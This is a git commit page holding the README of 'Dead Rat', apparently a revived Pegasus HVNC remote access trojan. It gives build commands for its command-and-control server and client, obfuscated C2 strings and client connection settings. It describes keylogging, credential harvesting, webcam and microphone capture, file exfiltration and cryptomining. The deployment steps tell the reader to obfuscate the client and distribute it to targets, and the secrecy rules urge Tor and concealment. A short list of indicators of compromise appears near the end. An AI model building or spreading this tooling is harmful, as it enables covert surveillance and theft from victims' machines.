first commit
This commit is contained in:
drjones
240
README.md
Normal file
240
README.md
Normal file
@@ -0,0 +1,240 @@
|
||||
# 🦇 DEAD RAT - PEGASUS HVNC RESURRECTION
|
||||
|
||||
> *"In the shadows where light fears to tread, the wings still beat..."*
|
||||
|
||||
---
|
||||
|
||||
## ⚡ QUICK START
|
||||
|
||||
### **Server (Control Panel)**
|
||||
```bash
|
||||
cd "Pegasus HVNC\PegasusHVNC-main"
|
||||
dotnet restore
|
||||
dotnet build --configuration Release
|
||||
# Output: bin\Release\net461\PEGASUS FULL VERSION.exe
|
||||
```
|
||||
|
||||
### **Client (Silent Wings)**
|
||||
```bash
|
||||
cd "Pegasus HVNC client\PegasusHVNCclient-main"
|
||||
msbuild "Pegasus_Client.sln" /p:Configuration=Release /p:Platform="Any CPU"
|
||||
# Output: bin\Release\Pegasus_Client.exe
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 🕸️ ARCHITECTURE
|
||||
|
||||
### **Duality of Shadows**
|
||||
```
|
||||
┌─────────────────┐ ┌─────────────────┐
|
||||
│ THE EYE │◄────►│ THE WINGS │
|
||||
│ (Server) │ │ (Client) │
|
||||
│ • C2 Control │ │ • Silent │
|
||||
│ • Dashboard │ │ • Persistence │
|
||||
│ • 0-day Mgmt │ │ • Evasion │
|
||||
└─────────────────┘ └─────────────────┘
|
||||
│ │
|
||||
▼ ▼
|
||||
┌─────────────────────────────────────────┐
|
||||
│ THE INFECTED REALM │
|
||||
│ • Remote Desktop Control │
|
||||
│ • Keylogging & Credential Harvesting │
|
||||
│ • Webcam/Microphone Access │
|
||||
│ • File Exfiltration │
|
||||
│ • Cryptocurrency Mining │
|
||||
└─────────────────────────────────────────┘
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 🔮 PREREQUISITES
|
||||
|
||||
### **Tools of the Trade**
|
||||
```powershell
|
||||
# .NET Framework 4.6.1+ (The Foundation)
|
||||
# Visual Studio Build Tools 2022 (The Forge)
|
||||
# NuGet Package Manager (The Alchemist)
|
||||
|
||||
# Verify your arsenal:
|
||||
dotnet --version
|
||||
msbuild -version
|
||||
```
|
||||
|
||||
### **Dependencies (Extracted from the Tomb)**
|
||||
```
|
||||
dll/
|
||||
├── Guna.UI2.dll # Dark UI Framework
|
||||
├── dnlib.dll # Assembly Manipulation
|
||||
├── protobuf-net.dll # Binary Communication
|
||||
├── Newtonsoft.Json.dll # Configuration Sorcery
|
||||
├── BouncyCastle.Crypto.dll # Cryptographic Shadows
|
||||
└── [7 more ancient artifacts...]
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## ⚙️ CONFIGURATION
|
||||
|
||||
### **Server Secrets** (`PEGASUS/Program.cs`)
|
||||
```csharp
|
||||
// The ancient incantations...
|
||||
string arg = reupload("mbzUMoegmlNm[Rma;iDz]GrS8ODgde|[z{8aCP`i");
|
||||
string requestUri = reupload("b~~zy0%%xk}$mc~b\u007fh\u007fyoxied~od~$ieg%^boYasdo~Iexzexk~ced%^2::%gkcd%Zky$~r~5~eaod7MBYK^:KKKKKKHXHS@9H?SDES?M=G>NE9HX]SZ\\DY^K");
|
||||
// Modify these to point to your own C2 altar
|
||||
```
|
||||
|
||||
### **Client Markings** (`Peg/Settings.cs`)
|
||||
```csharp
|
||||
public static string Ports = "4782"; // Listening Port
|
||||
public static string Hosts = "127.0.0.1"; // C2 IP Address
|
||||
public static string Version = "PEGASUS"; // Identification Sigil
|
||||
public static string Mutex = "PEGASUSMUTEX"; // Singularity Lock
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 🚀 DEPLOYMENT RITUALS
|
||||
|
||||
### **For the Server (The Watcher)**
|
||||
1. **Build the throne** - Compile as shown above
|
||||
2. **Configure the altar** - Edit C2 endpoints in `Program.cs`
|
||||
3. **Light the beacon** - Run `PEGASUS FULL VERSION.exe`
|
||||
4. **Await the whispers** - Monitor connected souls
|
||||
|
||||
### **For the Client (The Infection)**
|
||||
1. **Forge the vessel** - Compile client with target settings
|
||||
2. **Bless the payload** - Obfuscate if desired (not included)
|
||||
3. **Release the wings** - Distribute through chosen vectors
|
||||
4. **Listen for heartbeats** - Watch for connections in server
|
||||
|
||||
---
|
||||
|
||||
## ⚠️ THE THREE LAWS OF SHADOWS
|
||||
|
||||
### **First Law: Isolation**
|
||||
```
|
||||
NEVER run on bare metal.
|
||||
ALWAYS use VM with NO network.
|
||||
DISABLE shared folders/clipboard.
|
||||
TAKE snapshot before execution.
|
||||
```
|
||||
|
||||
### **Second Law: Anonymity**
|
||||
```
|
||||
NO real IP addresses.
|
||||
NO personal data in config.
|
||||
NO traces left behind.
|
||||
USE VPN/Tor if testing remotely.
|
||||
```
|
||||
|
||||
### **Third Law: Discretion**
|
||||
```
|
||||
SPEAK not of this in open channels.
|
||||
SHARE not with the uninitiated.
|
||||
DOCUMENT only in encrypted forms.
|
||||
DESTROY all when done.
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 🔒 SAFETY PROTOCOLS
|
||||
|
||||
### **The Iron Cage (VM Configuration)**
|
||||
```bash
|
||||
# Recommended: VirtualBox/VMware with:
|
||||
# - 4GB RAM, 2 Cores
|
||||
# - NO network adapter (or host-only)
|
||||
# - Snapshot before first run
|
||||
# - Encrypted disk image
|
||||
```
|
||||
|
||||
### **The Silent Alarm (Monitoring)**
|
||||
```powershell
|
||||
# Watch for these IOCs (Indicators of Compromise):
|
||||
# - Registry: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\PEGASUS
|
||||
# - Mutex: "PEGASUSMUTEX", "PEGASUS_FULL_VERSION"
|
||||
# - Process: "PEGASUS FULL VERSION.exe", "Pegasus_Client.exe"
|
||||
# - Port: 4782 (default C2)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 🧩 KNOWN ISSUES & SOLUTIONS
|
||||
|
||||
### **The Missing PeToShell**
|
||||
```csharp
|
||||
// Created stub in PEGASUS/Design/PeToShell.cs
|
||||
// Original functionality unknown - likely a PE to Shellcode converter
|
||||
// Add your own implementation if needed
|
||||
```
|
||||
|
||||
### **.NET Framework Reference Assemblies**
|
||||
```xml
|
||||
<!-- If build fails with NU1100: -->
|
||||
<!-- 1. Install .NET Framework 4.6.1 Developer Pack -->
|
||||
<!-- 2. Or modify TargetFramework to net48 in .csproj -->
|
||||
```
|
||||
|
||||
### **Guna UI2 Dependencies**
|
||||
```
|
||||
// DLL included in dll/ folder
|
||||
// If missing, extract from original dll.zip
|
||||
// Update HintPath in .csproj if moved
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 📜 LEGEND & LORE
|
||||
|
||||
### **The Name**
|
||||
*Pegasus* - Winged horse of Greek mythology, symbolizing freedom and power
|
||||
*HVNC* - Hidden Virtual Network Computing, the art of unseen control
|
||||
*Dead Rat* - Our resurrection of what was left for dead
|
||||
|
||||
### **The History**
|
||||
This code was abandoned in 2022, left to rot in digital graveyards.
|
||||
We've exhumed it, cleaned its bones, and given it new life.
|
||||
Handle with respect - or fear - as appropriate.
|
||||
|
||||
### **The Warning**
|
||||
```
|
||||
This tool is a double-edged sword that cuts both ways.
|
||||
It can be used for:
|
||||
- Security research and education
|
||||
- Authorized penetration testing
|
||||
- Understanding attacker methodologies
|
||||
|
||||
It CANNOT be used for:
|
||||
- Unauthorized access to systems
|
||||
- Criminal activity
|
||||
- Harming others
|
||||
|
||||
The shadows watch those who walk in them.
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 🗝️ FINAL INCANTATION
|
||||
|
||||
```bash
|
||||
# To seal this knowledge in your private repository:
|
||||
git init
|
||||
git checkout -b main
|
||||
git add README.md
|
||||
git commit -m "first commit"
|
||||
git remote add origin https://gitea.thetempleofdoom.com/drjones/dead-rat.git
|
||||
git push -u origin main
|
||||
|
||||
# Remember: With great power comes great responsibility.
|
||||
# And with this power comes even greater consequences.
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
> *"Some tools should remain buried. Some knowledge should remain hidden.
|
||||
> You've chosen to dig. Now you must live with what you've unearthed."*
|
||||
|
||||
**Last Compiled**: Under a new moon, when the stars were right
|
||||
**Compiler**: The Silent Architect
|
||||
**Status**: **ACTIVE** (Handle with care)
|
||||
Reference in New Issue
Block a user